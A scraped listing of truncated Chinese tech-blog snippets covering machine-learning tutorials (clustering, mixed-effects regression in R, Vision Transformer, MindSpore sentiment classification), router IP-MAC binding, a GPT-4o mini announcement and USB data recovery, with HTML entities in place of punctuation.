神经网络是一种非常有用的机器学习模型&#xff0c;具有无数的应用。今天&#xff0c;我们将分析一个数据集&#xff0c;看看我们是否可以通过应用无监督聚类技术来查找数据中的模式和隐藏分组&#xff0c;从而获得新的见解。 我们的目标是对复杂数据进行降维&#xff0c;以便…

基于R语言复杂数据回归与混合效应模型【多水平/分层/嵌套】技术与代码

回归分析是科学研究特别是生态学领域科学研究和数据分析十分重要的统计工具&#xff0c;可以回答众多科学问题&#xff0c;如环境因素对物种、种群、群落及生态系统或气候变化的影响&#xff1b;物种属性和系统发育对物种分布&#xff08;多度&#xff09;的影响等。纵观涉及数…

PyTorch计算机视觉之Vision Transformer 整体结构

【图书推荐】《PyTorch深度学习与计算机视觉实践》-CSDN博客 Vision Transformer&#xff08;ViT&#xff09;模型是最新提出将注意力机制应用在图像分类的模型。Vision Transformer算法会将整幅图像拆分成小图像块&#xff0c;然后把这些小图像块的线性映射序列作为注意力模块…

昇思25天学习打卡营第29天 | 基于MindSpore通过GPT实现情感分类

基于MindSpore框架通过GPT模型实现情感分类展示了从项目设置、数据预处理到模型训练和评估的详细步骤&#xff0c;提供了一个完整的案例来理解如何在自然语言处理任务中实现情感分析。 首先&#xff0c;环境配置是任何机器学习项目的起点。项目通过安装特定版本的MindSpore和相…

基于机器学习的旅游景区评论情感分析算法设计与实现

1 绪论 1.1 背景与意义 1.1.1 背景 旅游业是全球范围内一个快速发展的行业&#xff0c;旅游景区作为旅游业的核心组成部分&#xff0c;对于吸引游客和提升旅游体验起着重要作用。随着社交媒体和在线评论平台的普及&#xff0c;越来越多的游客在网上分享他们对旅游景区的评论…

[路由器]IP-MAC的绑定与取消

背景&#xff1a;当公司的网络不想与外部人员进行共享&#xff0c;可以在路由器页面配置IP-MAC的绑定&#xff0c;让公司内部人员的手机和电脑的mac&#xff0c;才能接入到公司。第一步&#xff1a;在ARP防护中&#xff0c;启动IP-MAC绑定选项&#xff0c;必须启动仅允许IP-MAC…

OpenAI发布“最具性价比”模型 GPT-4o mini,GPT-3.5 Turbo 已成过去式

GPT-4o mini 相较于 GPT 3.5 在多个方面实现了显著的性能提升&#xff1a; 得分率提升&#xff1a;GPT-4o mini 在 MMLU&#xff08;一个涉及多种语言理解任务的基准测试&#xff09;上的得分率为 82%&#xff0c;优于 GPT-4&#xff0c;并且明显高于 GPT-3.5 2。 成本效益&am…

U盘数据危机:应对文件或目录损坏无法读取的全面解析

一、U盘数据损坏的困境与挑战 U盘&#xff0c;作为我们日常生活中不可或缺的便携存储设备&#xff0c;承载着大量的工作文档、学习资料及珍贵回忆。然而&#xff0c;当U盘中的文件或目录突然无法读取&#xff0c;甚至提示损坏时&#xff0c;我们往往会陷入焦急与无助之中。这种…